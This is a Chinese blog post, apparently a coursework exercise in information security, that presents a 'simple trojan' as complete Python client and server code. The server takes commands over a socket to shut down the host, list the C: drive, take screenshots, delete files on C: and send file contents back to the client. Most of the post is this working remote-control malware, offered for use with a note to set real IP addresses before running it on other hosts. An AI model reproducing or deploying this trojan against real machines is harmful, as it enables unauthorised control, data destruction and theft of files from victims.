信息对抗-简易木马程序

题目介绍

本程序中源IP 地址和目的IP 地址需要在代码中编写,因此,在不同的主机上运行此木马之前要对程序进行调试。在设置好源、目的IP 地址后,便可以通过client 发送指令,对server 进行操作。下面,对具体功能进行简要的介绍。

  1. 输出字符串

在服务端输出字符串“Hello world”。

  1. 关机

令服务端(server)主机在60 秒内关机。

  1. 取消关机

在关机时限(60 秒)内,可以取消服务端主机关机。

  1. 获取C 盘文件列表

获取此时服务端(server)主机的C 盘列表

  1. 截屏

截取此时服务端(server)主机的桌面图像

  1. 删除

在服务端(server)主机C 盘列表中选取并删除指定文件。

  1. 上传

在客户端(Client)主机中选取指定文件, 将其内容传送并保存至文件
“myFile.txt”。

  1. 下载

在服务端(server)主机C 盘列表中选取指定文件,将其内容拷贝至文件
“myFile.txt”,并保存至所选路径下。

代码

client
import socket

host = "127.0.0.1"
port = 8888


def main():
    while 1:
        client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        client_socket.connect((host, port))
        order = get_order()
        try:
            handle_order(order, client_socket)
        except Exception as e:
            print("出现异常")
            continue
        client_socket.close()


def get_order():
    print("1.输出字符串")
    print("2.关机")
    print("3.取消关机")
    print("4.获取c盘文件列表")
    print("5截屏")
    print("6删除")
    print("7上传")
    print("8下载")
    print("0退出")
    order = input("输入指令:")
    return order


def send_str(client_socket):
    my_str = "hello world"
    client_socket.send(("say-"+my_str).encode())
    return None


def shut_down(client_socket):
    client_socket.send("shutdown".encode())
    return None


def cancel_shutdown(client_socket):
    client_socket.send("cancel".encode())
    return None


def get_c(client_socket):
    client_socket.send("get_c".encode())
    c_list = b''
    while 1:
        data = client_socket.recv(1024)
        if data != b"":
            c_list += data
        else:
            break
    print(c_list)
    return None


def shot_image(client_socket):
    client_socket.send("shot_image".encode())
    return None


def delete_file(client_socket):
    name = input("从c盘列表选择文件删除:")
    client_socket.send(("delete-" + name).encode())
    return None


def upload(client_socket):
    with open("1.txt", 'r') as f:
        file = f.read()
        client_socket.send(("upload-" + file).encode())
    return None


def download(client_socket):
    name = input("从c盘列表选择文件下载:")
    client_socket.send(("download-"+name).encode())
    result_data = b''
    while 1:
        data = client_socket.recv(1024)
        if data != b"":
            result_data += data
        else:
            break
    res = result_data.decode()
    with open("myFile.txt", 'w') as file:
        file.write(res)

    return None


def handle_order(order, client_socket):
    if order == '0':
        print("谢谢使用")
        client_socket.close()
        exit()
    if order == '1':
        send_str(client_socket)
    if order == '2':
        shut_down(client_socket)
    if order == '3':
        cancel_shutdown(client_socket)
    if order == '4':
        get_c(client_socket)
    if order == '5':
        shot_image(client_socket)
    if order == '6':
        delete_file(client_socket)
    if order == '7':
        upload(client_socket)
    if order == '8':
        download(client_socket)


if __name__ == "__main__":
    main()

server
import socket
import os
from PIL import ImageGrab

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = "127.0.0.1"
port = 8888
s.bind((host, port))
s.listen(1)


def main():
    print("正在尝试连接")
    while 1:
        client_socket = s.accept()[0]
        print("连接成功")
        order = client_socket.recv(1024).decode()
        try:
            execute_order(order, client_socket)
        except Exception as e:
            print("出了点问题")
            continue
        client_socket.close()


def split_order(order):
    order_list = order.split("-")
    return order_list[1]


def execute_order(order, client_socket):
    if "say" in order:
        param = split_order(order)
        print(param)
    if "shutdown" in order:
        os.system("shutdown -s -t 60")
    if "cancel" in order:
        os.system("shutdown -a")
    if "get_c" in order:
        get_c(client_socket)
    if "shot_image" in order:
        shot_image()
    if "delete" in order:
        param = split_order(order)
        delete_file(param)
    if "upload" in order:
        param = split_order(order)
        upload_file(param)
    if "download" in order:
        param = split_order(order)
        download(param, client_socket)


def get_c(client_socket):
    file_name = os.listdir(r'C:\\')
    file_list = ""
    for file in file_name:
        file_list += file + " "
    client_socket.send(file_list.encode())


def shot_image():
    pic = ImageGrab.grab()
    pic.save('shot.jpg')


def delete_file(name):
    os.remove(("C:\\" + name))


def upload_file(param):
    with open("myFile.txt", 'w') as file:
        file.write(param)


def download(param, client_socket):
    path = "C:\\"+param
    file = os.open(path, os.O_RDWR)
    res = os.read(file, 12)
    client_socket.send(res)


if __name__ == "__main__":
    main()
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值